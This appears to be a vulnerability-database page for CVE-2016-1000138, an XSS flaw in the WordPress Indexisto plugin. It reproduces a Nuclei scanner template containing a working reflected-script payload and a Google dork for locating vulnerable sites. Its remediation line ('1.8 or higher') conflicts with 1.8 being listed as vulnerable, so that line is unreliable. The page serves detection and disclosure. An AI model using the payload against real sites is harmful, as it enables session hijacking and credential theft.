CVE-2016-1000138: WordPress Admin Font Editor <=1.8 - Cross-Site Scripting

2025-08-01 WordPress Admin Font Editor PoC Public

Description

WordPress Admin Font Editor plugin indexisto 1.8 and before contains a cross-site scripting vulnerability which allows an attacker to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks.

PoC

id: CVE-2016-1000138

info:
  name: WordPress Admin Font Editor <=1.8 - Cross-Site Scripting
  author: daffainfo
  severity: medium
  description: WordPress Admin Font Editor plugin indexisto 1.8 and before contains a cross-site scripting vulnerability which allows an attacker to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks.
  impact: |
    This vulnerability allows an attacker to execute arbitrary JavaScript code in the context of the victim's browser, potentially leading to session hijacking, defacement, or theft of sensitive information.
  remediation: |
    Update to the latest version of the WordPress Admin Font Editor plugin (1.8 or higher) to fix this vulnerability.
  reference:
    - http://www.vapidlabs.com/wp/wp_advisory.php?v=38
    - https://wordpress.org/plugins/indexisto
    - http://web.archive.org/web/20210622181116/
    - https://nvd.nist.gov/vuln/detail/CVE-2016-1000138
    - https://github.com/ARPSyndicate/cvemon
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2016-1000138
    cwe-id: CWE-79
    epss-score: 0.03432
    epss-percentile: 0.88337
    cpe: cpe:2.3:a:indexisto_project:indexisto:*:*:*:*:*:wordpress:*:*
  metadata:
    max-request: 2
    vendor: "indexisto_project"
    product: indexisto
    framework: wordpress
    google-query: "inurl:\"/wp-content/plugins/indexisto\""
  tags: cve,cve2016,wordpress,xss,wp-plugin,indexisto_project,vuln
flow: http(1) && http(2)

http:
  - raw:
      - |
        GET /wp-content/plugins/indexisto/readme.txt HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: word
        internal: true
        words:
          - '= Indexisto'

  - method: GET
    path:
      - "{{BaseURL}}/wp-content/plugins/indexisto/assets/js/indexisto-inject.php?indexisto_index=%22%3E%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E"

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "</script><script>alert(document.domain)</script>"

      - type: word
        part: header
        words:
          - text/html

      - type: status
        status:
          - 200
# digest: 4a0a00473045022100a0bdcffd01e59910543556fe7b05f04f4b744550350cb179003621a3bd64df7602202dffb8c142b98e349954604c07d925f2b688c2f99d54988f8d31e61515e1b974:922c64590222798bb761d5b6d8e72950

# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.
Source: https://github.com/projectdiscovery/nuclei-templates/blob/main/http/cves/2016/CVE-2016-1000138.yaml

References

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